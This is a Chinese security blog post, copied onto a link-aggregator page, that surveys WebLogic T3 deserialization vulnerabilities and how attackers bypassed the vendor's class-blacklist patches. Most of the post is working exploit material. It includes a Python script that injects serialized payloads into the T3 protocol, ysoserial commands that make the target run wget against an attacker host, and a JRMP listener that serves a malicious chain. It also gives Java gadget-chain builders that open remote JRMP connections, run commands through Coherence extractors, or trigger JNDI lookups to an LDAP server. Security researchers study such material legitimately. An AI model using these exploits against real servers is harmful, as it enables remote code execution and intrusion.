5

Weblogic t3 反序列化

 2 years ago
source link: https://blog.szfszf.top/article/55/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

Weblogic t3 反序列化

2021年08月, 5358 views, #java #反序列化漏洞 #weblogic

Weblogic系列文章,总结了近年来t3反序列化相关漏洞与绕过。

Weblogic t3 反序列化

JRMP是Java默认RMI的通信协议,而Weblogic实现的RMI的通信协议主要为t3(还有基于CORBA的IIOP协议)。t3协议的特点可以看这里

根据上文的分析,T3协议由协议头包裹(前四个字节为数据包大小),且数据包中包含多个序列化的对象(每个序列化数据包前面都有相同的二进制串(0xfe010000)),通信的时候会读取序列化对象进行反序列化。

那么我们就可以替换其中的两个0xfe010000字节流中间的序列化数据为可控的恶意序列化数据。

图片

简单的payload如下,先生成gadget链数据,然后用这个拼接到t3数据流中再重新计算数据流长度替换前四个字节发送。

t3.py

# -*- coding: utf-8 -*- 

import socket
import struct
import sys

def exp(filename, host, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_address = (host, int(port))
    data = ""
    try:
        sock.connect(server_address)
        headers = 't3 12.2.1\nAS:255\nHL:19\n\n'.format(port)
        sock.sendall(headers)
        data = sock.recv(2)
        print(data)
        f = open(filename, 'rb')
        payload_obj = f.read()
        f.close()
        payload1 = "000005ba016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000".decode('hex')
        payload3 = "aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870774b210000000000000000000d31302e3130312e3137302e3330000d31302e3130312e3137302e33300f0371a20000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870771d01a621b7319cc536a1000a3137322e31392e302e32f7621bb50000000078".decode('hex')
        payload2 = payload_obj
        payload = payload1 + payload2 + payload3

        payload = struct.pack('>I', len(payload)) + payload[4:]

        sock.send(payload)
        data = sock.recv(4096)
        print(data)
    except socket.error as e:
        print (u'socket 连接异常!')
    finally:
        sock.close()

if(len(sys.argv)<4):
    print("usage: python t3.py ser.data ip port")
else:
    filename = sys.argv[1]
    ip = sys.argv[2]
    port = sys.argv[3]
    exp(filename, ip, port)

CVE-2015-4852

10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0

这是t3反序列化第一个漏洞点,没有任何限制,所以可以用上面的t3.py来打。

那时的cc1链还可用,生成序列化数据。

java -jar ysoserial-master-30099844c6-1.jar CommonsCollections1 "wget 192.168.223.130:9999" > /tmp/1.dat

python2 t3.py /tmp/1.dat 127.0.0.1 7001

CVE-2015-4852补丁

这里贴一张大佬文章中的Java反序列化时序图

img

从ObjectInputStream的readObject进入开始反序列化,读取到object字节流时进入readOrdinaryObject

image-20210809163800252

在readOrdinaryObject方法中,先进行readClassDesc解析对象的类,代理类和普通类分开解析。

解析完了后再进入readSerialData或readExternalData反序列化对象。

image-20210809164004201

CVE-2015-4852的补丁就是作用在readClassDesc解析对象类的时候加入的黑名单,不允许某些类反序列化。

t3反序列化时用的是继承自ObjectInputStream的InboundMsgAbbrev.ServerChannelInputStream类。

image-20210809164519426

所以补丁是改写了InboundMsgAbbrev.ServerChannelInputStream等类的resolveClass

weblogic.rjvm.InboundMsgAbbrev.class :: ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class
org.apache.commons.collections.functors* *
com.sun.org.apache.xalan.internal.xsltc.trax* *
javassist* *
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.ConversionHandler
org.codehaus.groovy.runtime.MethodClosure

CVE-2016-0638 && CVE-2016-3510

这两个是延续了对4852的绕过。

CVE-2016-0638

10.3.6, 12.1.2, 12.1.3, and 12.2.1

这个漏洞是利用weblogic.jms.common.StreamMessageImpl类绕过上面了补丁的黑名单。

该类的readExternal方法对输入流进行了二次反序列化。

image-20210809171121192

替换为FilteringObjectInputStream类,也是在下面的readObject后resolveClass处黑名单限制(这个我是在weblogic14上看到的补丁,并不知道是什么时候打上去的,也没有查到相关内容)。

image-20210809221900101

CVE-2016-3510

10.3.6.0, 12.1.3.0, and 12.2.1.0

与0638类似,是利用weblogic.corba.utils.MarshalledObject类在反序列化执行readResolve时对objBytes属性字节流进行反序列化的操作绕过黑名单。

image-20210809204217136

这两个的复现我们都使用weblogic_cmd来复现,也可以用它生成序列化数据用上面的t3.py发送。它用的就是cc1链,默认是使用weblogic.jms.common.StreamMessageImpl绕过的。

CVE-2017-3248 && CVE-2018-2628 && CVE-2018-2893 && CVE-2018-3245

这三个cve是利用JRMP反序列化对上面黑名单的绕过

CVE-2017-3248

10.3.6.0, 12.1.3.0, 12.2.1.0, 12.2.1.1

前面目前来说还是黑名单限制的t3反序列化。这里使用ysoserial的JRMPClient反序列化gadget链,这个gadget链可以让目标服务器作为JRMP客户端去连接JRMP服务器端,我们知道JRMP之间的通信也是通过序列化进行的,所以我们监听一个JRMP服务器并返回恶意序列化数据就能在目标服务器进行二次反序列化,这样第二次反序列化就不会受到上述黑名单的限制了。

监听JRMP服务器,返回恶意cc1链

java -cp ysoserial-master-30099844c6-1.jar ysoserial.exploit.JRMPListener 8080 CommonsCollections1 "wget 192.168.223.130:9999"

利用ysoserial生成的JRMPClient序列化数据

python2 44553.py 127.0.0.1 7001 /home/kali/share/VmShare/tools/ctf/web/java/ysoserial/ysoserial-master-30099844c6-1.jar 192.168.223.130 8080 JRMPClient

protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
    String[] arr$ = interfaces;
    int len$ = interfaces.length;

    for(int i$ = 0; i$ < len$; ++i$) {
        String intf = arr$[i$];
        if (intf.equals("java.rmi.registry.Registry")) {
            throw new InvalidObjectException("Unauthorized proxy deserialization");
        }
    }

    return super.resolveProxyClass(interfaces);
}

可以看到只限制了反序列化代理类执行resolveProxyClass时限制了java.rmi.registry.Registry类。

CVE-2018-2628

10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3

看到了3248的补丁,可以发现只在resolveProxyClass限制了java.rmi.registry.Registry类,那么就出现了以下三种方式绕过。

看ysoserial的JRMPClient的payload,生成UnicastRef对象后封装进RemoteObjectInvocationHandler动态代理中。

image-20210810114604982

反序列化时是调用RemoteObjectInvocationHandler类的父类RemoteObject的readObject,然后在下面将执行UnicastRef的readExternal,后面再是后续的链。

image-20210810114756066

但其实直接生成生成UnicastRef对象,UnicastRef对象在反序列化时也会调用readExternal,那就不需要套一层动态代理了。因为补丁仅作用于resolveProxyClass,所以可以绕过。

package ysoserial.payloads.mytest;

import java.io.FileOutputStream;
import java.rmi.server.ObjID;
import java.util.Random;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.Serializer;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;

@SuppressWarnings ( {
    "restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient1 extends PayloadRunner implements ObjectPayload<UnicastRef> {

    public UnicastRef getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        return ref;
    }


    public static void main ( final String[] args ) throws Exception {
        Object o = new JRMPClient1().getObject("192.168.223.130:9998");
        FileOutputStream out = new FileOutputStream("test.data");
        Serializer.serialize(o, out);
    }
}

过滤了java.rmi.registry.Registry类,可以替换这个接口类为java.rmi.activation.Activator

package ysoserial.payloads.mytest.weblogic;

import java.io.FileOutputStream;
import java.lang.reflect.Proxy;
import java.rmi.activation.Activator;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.Serializer;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;


@SuppressWarnings ( {
    "restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient2 extends PayloadRunner implements ObjectPayload<Activator> {

    public Activator getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Activator proxy = (Activator) Proxy.newProxyInstance(ysoserial.payloads.JRMPClient.class.getClassLoader(),
            new Class[] {
                Activator.class
        }, obj);
        return proxy;
    }


    public static void main ( final String[] args ) throws Exception {
        Object o = new JRMPClient2().getObject("192.168.223.130:9998");
        FileOutputStream out = new FileOutputStream("test.data");
        Serializer.serialize(o, out);
    }
}

不过我试了下直接用Registry和Activator的父类Remote也行。

来自这里, 将sun.rmi.server.UnicastRef加入了黑名单

private static final String[] DEFAULT_LIMITS = { "maxdepth=100" };
  private static final String[] DEFAULT_BLACKLIST_PACKAGES = { "org.apache.commons.collections.functors", "com.sun.org.apache.xalan.internal.xsltc.trax", "javassist" };
  private static final String[] DEFAULT_BLACKLIST_CLASSES = { "org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef" };

CVE-2018-2893

10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3

虽然2628打了补丁,但是其中的方法二并没有被限制住。

因为方法二走的是RemoteObjectInvocationHandler动态代理的反序列化,执行的是其父类RemoteObject的readObject。

看下图可知,ref为UnicastRef对象,执行的readExternal是不会被上述黑名单的resolveClass限制的。

image-20210810114756066

上面利用streamMessageImpl进行的二次反序列化这里还能用,不过它的补丁似乎在这里还没有补。

补丁还是看的这里

private static final String[] DEFAULT_BLACKLIST_PACKAGES = { "org.apache.commons.collections.functors", "com.sun.org.apache.xalan.internal.xsltc.trax", "javassist", "java.rmi.activation", "sun.rmi.server" };
  private static final String[] DEFAULT_BLACKLIST_CLASSES = { "org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.UnicastRemoteObject", "java.rmi.server.RemoteObjectInvocationHandler" };

黑名单进行了更新

java.rmi.activation.*
sun.rmi.server.*
java.rmi.server.RemoteObjectInvocationHandler
java.rmi.server.UnicastRemoteObject

CVE-2018-3245

10.3.6.0, 12.1.3.0, 12.2.1.3

上面的补丁增加了黑名单的限制,但其实只要继续找继承自RemoteObject的类且未重写readObject且不存在于黑名单中就行。

师傅找到一个这个类RMIConnectionImpl_Stub, 直接写payload

package ysoserial.payloads.mytest.weblogic;

import java.io.FileOutputStream;
import java.rmi.server.ObjID;
import java.util.Random;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.Serializer;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;

import javax.management.remote.rmi.RMIConnectionImpl_Stub;


@SuppressWarnings ( {
    "restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient3 extends PayloadRunner implements ObjectPayload<RMIConnectionImpl_Stub> {

    public RMIConnectionImpl_Stub getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RMIConnectionImpl_Stub obj = new RMIConnectionImpl_Stub(ref);
        return obj;
    }


    public static void main ( final String[] args ) throws Exception {
        Object o = new JRMPClient3().getObject("192.168.223.130:9998");
        FileOutputStream out = new FileOutputStream("test.data");
        Serializer.serialize(o, out);
    }
}

这个部分就主要是各种绕过,weblogic这种黑名单打补丁的方式肯定是不安全的,出了新链就还是没用了。

不过越到后面越难以利用。到这里貌似commonCollection已经升级,cc链打不通了,只能打Jdk7u21这条链,限制于java版本比较鸡肋。

CVE-2019-2890

这也是个新链,如下weblogic.wsee.jaxws.persistence.PersistentContext类的readObject中会在随后解密bytes属性。然后将其字节流进行二次反序列化。

image-20210810210055968

但是在加解密时都需要服务器上的SerializedSystemIni.dat文件作为密钥,这就显得很鸡肋,能读这个密钥文件再读密码文件通常能直接拿到后台了。

其他详细信息可以看这里

CVE-2020-2555 && CVE-2020-2883 && CVE-2020-14645

这部分是coherence.jar中的新链,几个CVE又是补丁与绕过的艺术。

漏洞组件(其中cve-2020-14645只有第四个)

10.3.6.0.0 12.1.3.0.0 12.2.1.3.0 12.2.1.4.0

CVE-2020-2555

这条链是cc5链相同的gadget链触发点,从BadAttributeValueExpException的readObject执行到toString

看下面我们可以知道LimitFilter的toString执行了extract,我们可知extractor属性为ValueExtractor类对象。

image-20210810173256022

其中继承自ValueExtractor的ReflectionExtractor类和ChainedExtractor类有用。

ReflectionExtractor的extract方法

    public Object extract(Object oTarget) {
        if (oTarget == null) {
            return null;
        } else {
            Class clz = oTarget.getClass();

            try {
                Method method = this.m_methodPrev;
                if (method == null || method.getDeclaringClass() != clz) {
                    this.m_methodPrev = method = ClassHelper.findMethod(clz, this.getMethodName(), this.getClassArray(), false);
                }

                return method.invoke(oTarget, this.m_aoParam);
            } catch (NullPointerException var4) {
                throw new RuntimeException(this.suggestExtractFailureCause(clz));
            } catch (Exception var5) {
                throw ensureRuntimeException(var5, clz.getName() + this + '(' + oTarget + ')');
            }
        }
    }

ChainedExtractor的extract方法

    public Object extract(Object oTarget) {
        ValueExtractor[] aExtractor = this.getExtractors();
        int i = 0;

        for(int c = aExtractor.length; i < c && oTarget != null; ++i) {
            oTarget = aExtractor[i].extract(oTarget);
        }

        return oTarget;
    }

在这里我们就可以发现和cc链的Transformer类似,链式执行命令。

import com.tangosol.util.ValueExtractor;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.filter.LimitFilter;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;

public class cve2555 {

    public static void main(String[] args) throws Exception {
        ChainedExtractor ce = new ChainedExtractor(
            new ValueExtractor[]{
                     new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[]{}}),
                     new ReflectionExtractor("invoke", new Object[]{null, new Object[]{}}),
                     new ReflectionExtractor("exec", new Object[]{"calc"})
            }
        );

        LimitFilter lf = new LimitFilter();
        lf.setComparator(ce);
        lf.setTopAnchor(Runtime.class);

        BadAttributeValueExpException b = new BadAttributeValueExpException(1);
        Field f1 = b.getClass().getDeclaredField("val");
        f1.setAccessible(true);
        f1.set(b, lf);

        deserialize(serialize(b));
    }

    public static byte[] serialize(final Object obj) throws IOException {
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(obj);
        return out.toByteArray();
    }

    public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
        ByteArrayInputStream in = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(in);
        return objIn.readObject();
    }
}

补丁打在了LimitFilter类的toString方法,可以看到将所有执行extractor.extract()的地方都删除了,这样就在这一环破坏了gadget链。

Picture1.png

y4er师傅文章中介绍了两个点

  1. coherence.jar要使用和目标版本一致的,不然会有serialVersionUID不一致的问题。
  2. BadAttributeValueExpException对jdk的版本有要求。具体看这里

CVE-2020-2883

看了2555的补丁,仅仅是在执行extract部分破坏了gadget链,而后面的反射执行的部分是没有变化的。

首先我们可以看com.tangosol.util.comparator.ExtractorComparator类,它的compare函数中可以接上2555的gadget链。

image-20210810214133234

看到compare函数,我们可以联想到cc2链从PriorityQueue执行到compare,那么将这两个链合在一起就是一条新链。

import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class cve2883_1 {

    public static void main(String[] args) throws Exception {
        ChainedExtractor ce = new ChainedExtractor(
                new ValueExtractor[]{
                        new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[]{}}),
                        new ReflectionExtractor("invoke", new Object[]{null, new Object[]{}}),
                        new ReflectionExtractor("exec", new Object[]{"calc"})
                }
        );

        ExtractorComparator ec = new ExtractorComparator(ce);

        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, ec);

        Field f1 = queue.getClass().getDeclaredField("queue");
        f1.setAccessible(true);
        Object[] queueArray = (Object[]) f1.get(queue);
        queueArray[0] = Runtime.class;
        queueArray[1] = Runtime.class;

        Field f2 = queue.getClass().getDeclaredField("size");
        f2.setAccessible(true);
        f2.set(queue, 2);

        deserialize(serialize(queue));
    }

    public static byte[] serialize(final Object obj) throws IOException {
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(obj);
        return out.toByteArray();
    }

    public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
        ByteArrayInputStream in = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(in);
        return objIn.readObject();
    }
}

先看com.tangosol.util.extractor.AbstractExtractor类的compare方法,它执行了自己的extract方法

image-20210810223443297

而com.tangosol.util.extractor.MultiExtractor类继承自AbstractExtractor类,它的extract方法为如下,aExtractor来自this.getExtractors()返回的是this.m_aExtractor, 这样的话在此后面我们就可以继续利用2555的链。

image-20210810223726130
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.MultiExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class cve2883_2 {

    public static void main(String[] args) throws Exception {
        ChainedExtractor ce = new ChainedExtractor(
                new ValueExtractor[]{
                        new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[]{}}),
                        new ReflectionExtractor("invoke", new Object[]{null, new Object[]{}}),
                        new ReflectionExtractor("exec", new Object[]{"calc"})
                }
        );

        MultiExtractor ec = new MultiExtractor(new ValueExtractor[]{ce});

        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, ec);

        Field f1 = queue.getClass().getDeclaredField("queue");
        f1.setAccessible(true);
        Object[] queueArray = (Object[]) f1.get(queue);
        queueArray[0] = Runtime.class;
        queueArray[1] = Runtime.class;

        Field f2 = queue.getClass().getDeclaredField("size");
        f2.setAccessible(true);
        f2.set(queue, 2);

        deserialize(serialize(queue));
    }

    public static byte[] serialize(final Object obj) throws IOException {
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(obj);
        return out.toByteArray();
    }

    public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
        ByteArrayInputStream in = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(in);
        return objIn.readObject();
    }
}

CVE-2020-14645

2883的补丁将存在恶意操作的几个类MvelExtractor 和 ReflectionExtractor都过滤了,这里考虑继续找一个继承自ValueExtractor的恶意类。

师傅们找到的类是UniversalExtractor类,它仅存在于12.2.1.4.0所以前面几个版本是打不通的。

借用PriorityQueue前面的链,继续走extract方法。

可以看到UniversalExtractor类的extract方法只能进入extractComplex, 在extractComplex中最后面存在方法的反射调用。

那么现在的目标就是控制调用的方法。

image-20210811170219260

执行的对象类型可控,方法名由下面代码的限制必须为get或者is开头的方法,且为无参方法。

image-20210811171200383

无参getter方法我们可以想到fastjson漏洞使用的JdbcRowSetImpl链,在执行getDatabaseMetaData方法时会在后续触发JNDI注入。

import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.util.extractor.UniversalExtractor;
import sun.reflect.ReflectionFactory;

import javax.sql.rowset.BaseRowSet;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class cve14645 {

    public static void main(String[] args) throws Exception {
        UniversalExtractor ue = getNewInstances(UniversalExtractor.class);

        Field ff = UniversalExtractor.class.getDeclaredField("m_sName");
        ff.setAccessible(true);
        ff.set(ue, "DatabaseMetaData");

        Field fff = UniversalExtractor.class.getDeclaredField("m_aoParam");
        fff.setAccessible(true);
        fff.set(ue, new String[]{});

        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, ue);

        Field f1 = queue.getClass().getDeclaredField("queue");
        f1.setAccessible(true);
        Object[] queueArray = (Object[]) f1.get(queue);

        JdbcRowSetImpl jdbc = getNewInstances(JdbcRowSetImpl.class);
        Field f = BaseRowSet.class.getDeclaredField("dataSource");
        f.setAccessible(true);
        f.set(jdbc, "ldap://127.0.0.1:9999/xxxx");


        queueArray[0] = jdbc;
        queueArray[1] = jdbc;

        Field f2 = queue.getClass().getDeclaredField("size");
        f2.setAccessible(true);
        f2.set(queue, 2);

        deserialize(serialize(queue));
    }

    public static byte[] serialize(final Object obj) throws IOException {
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(obj);
        return out.toByteArray();
    }

    public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
        ByteArrayInputStream in = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(in);
        return objIn.readObject();
    }

    static <T> T getNewInstances(Class <T> clazz) throws Exception{
        Constructor cc3 = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz,
                Object.class.getDeclaredConstructor());
        cc3.setAccessible(true);
        return (T) cc3.newInstance();
    }

}

https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247485058&idx=1&sn=d22b310acf703a32d938a7087c8e8704

https://y4er.com/post/weblogic-cve-2015-4852/

http://xxlegend.com/2018/06/20/%E5%85%88%E7%9F%A5%E8%AE%AE%E9%A2%98%20Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AE%9E%E6%88%98%20%E8%A7%A3%E8%AF%BB/

https://xz.aliyun.com/t/2479

https://xz.aliyun.com/t/8443

https://www.cnblogs.com/afanti/p/10240217.html

https://y4er.com/post/weblogic-cve-2016-0638/

https://github.com/5up3rc/weblogic_cmd

https://y4er.com/post/weblogic-jrmp/

http://blog.topsec.com.cn/%E5%A4%A9%E8%9E%8D%E4%BF%A1%E5%85%B3%E4%BA%8Ecve-2018-2893-weblogic%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

https://paper.seebug.org/1287/

https://mp.weixin.qq.com/s/8678EM15rZSeFBHGDfPvPQ


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK